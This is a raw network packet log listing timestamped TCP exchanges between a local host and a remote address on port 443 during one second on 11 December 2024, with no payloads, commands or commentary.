Dec 11, 2024 12:29:49.597284079 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.597332954 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.597485065 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.597486019 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.597526073 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.597527027 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.597527027 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.597546101 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.597767115 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.599246025 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.599267960 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.599509001 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.599698067 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.599698067 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.599714041 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.599883080 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.599883080 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.599883080 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.600954056 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.600975990 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.601116896 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.601142883 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.601142883 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.601159096 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.601191044 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.601237059 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.601336956 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.603296995 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.603318930 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.603496075 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.603496075 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.603524923 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.603538990 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.603538990 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.603687048 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.604885101 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.604904890 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.605127096 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.605127096 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.605127096 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.605127096 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.605127096 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.605159998 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.605305910 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.606744051 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.606765032 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.606894970 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.606894970 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.607049942 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.607075930 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.607228994 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.609025955 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.609045982 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.609191895 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.609191895 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.609257936 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.609257936 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.609270096 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.609328985 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.609489918 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.610789061 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.610815048 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.610976934 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.610976934 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.611057997 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.611057997 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.611073971 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.611278057 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.612611055 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.612641096 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.612788916 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.612788916 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.612812996 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.612823009 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.612864971 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.612910032 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.612961054 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.614166021 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.614187956 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.614404917 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.614500046 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.614548922 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.614558935 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.614598036 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.614763021 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.616549969 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.616576910 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.616703987 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.616826057 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.616826057 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.616852999 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.617021084 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.618416071 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.618451118 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.618618011 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.618618011 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.618666887 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.618666887 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.618666887 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.618688107 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.618927956 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.620132923 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.620163918 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.620342016 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.620394945 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.620409012 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.620542049 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.621881962 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.621917009 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.622061014 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.622061014 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.622087955 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.622087955 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.622102022 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.622137070 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.622243881 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.624161005 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.624191999 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.624566078 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.624566078 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.624566078 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.624594927 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.624665976 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.624747992 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.625859976 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.625889063 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.626104116 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.626127005 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.626156092 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.626156092 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.626341105 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.627610922 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.627634048 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.627810001 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.627810001 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.627857924 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.627857924 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.627867937 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.627907038 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.628104925 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.629601955 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.629622936 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.629795074 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.629889965 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.629899979 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.630018950 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.631218910 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.631243944 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.631398916 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.631398916 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.631418943 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.631419897 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.631428957 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.631468058 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.631613970 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.633325100 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.633347034 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.633570910 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.633584976 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.633603096 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.633735895 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.635107040 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.635132074 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.635303020 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.635354042 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.635354996 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.635363102 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.635400057 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.635526896 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.636878967 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.636903048 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.637025118 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.637025118 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.637228012 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.637238026 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.637411118 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.637411118 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.637475967 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.638729095 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.638752937 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.638916969 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.639003038 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.639014959 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.639189959 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.640618086 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.640642881 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.640774965 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.640822887 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.640872955 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.640873909 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.640882969 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.640899897 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.641077995 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.642682076 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.642705917 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.642877102 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.642877102 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.642877102 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.642894030 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.642976046 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.643057108 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.644454002 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.644475937 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.644579887 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.644675970 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.644682884 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.644726038 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.644726038 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.644823074 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.645247936 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.645450115 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.645450115 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.695416927 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.716936111 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.815912962 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.815943003 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.816129923 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.816129923 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.816144943 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.816174984 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.816274881 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.817790985 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.817821026 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.817986965 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.817998886 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.818135023 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.818135023 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.819433928 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.819461107 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.819623947 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.819623947 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.819720030 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.819730043 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.819912910 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.821271896 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.821296930 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.821590900 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.821603060 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.821789980 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.823031902 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.823057890 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.823251963 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.823265076 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.823342085 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.823441029 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.824939966 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.824961901 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.825295925 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.825308084 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.825654030 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.826416016 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.826441050 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.826569080 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.826569080 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.826617002 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.826626062 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.826714993 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.826814890 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.828005075 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.828032017 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.828170061 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.828219891 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.828219891 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.828231096 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.828268051 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.828268051 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.828391075 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.829854965 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.829879045 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.830027103 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.830091953 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.830101967 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.830137014 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.830231905 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.831773043 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.831795931 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.831950903 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.832045078 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.832051992 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.832259893 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.833596945 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.833621979 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.833875895 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.833888054 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.833966017 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.834109068 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.834846020 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.834871054 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.835068941 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.835081100 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.835196972 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.835292101 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.836766958 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.836791992 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.837086916 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.837099075 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.837265968 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.838715076 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.838735104 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.838851929 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.838916063 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.838916063 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.838923931 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.838964939 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.839112997 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.840404034 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.840429068 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.840691090 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.841027975 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.841037035 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.841285944 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.841679096 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.841701031 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.841893911 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.841893911 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.841907978 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.842039108 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.843329906 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.843353987 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.843509912 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.843620062 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.843628883 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.843843937 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.845634937 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.845657110 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.845824003 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.845824003 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.845824003 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.845839977 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.845875025 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.845920086 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.846018076 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.847242117 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.847266912 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.847421885 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.847577095 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.847584963 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.847825050 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.849088907 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.849113941 CET	443	49756	172.67.128.139	192.168.11.30
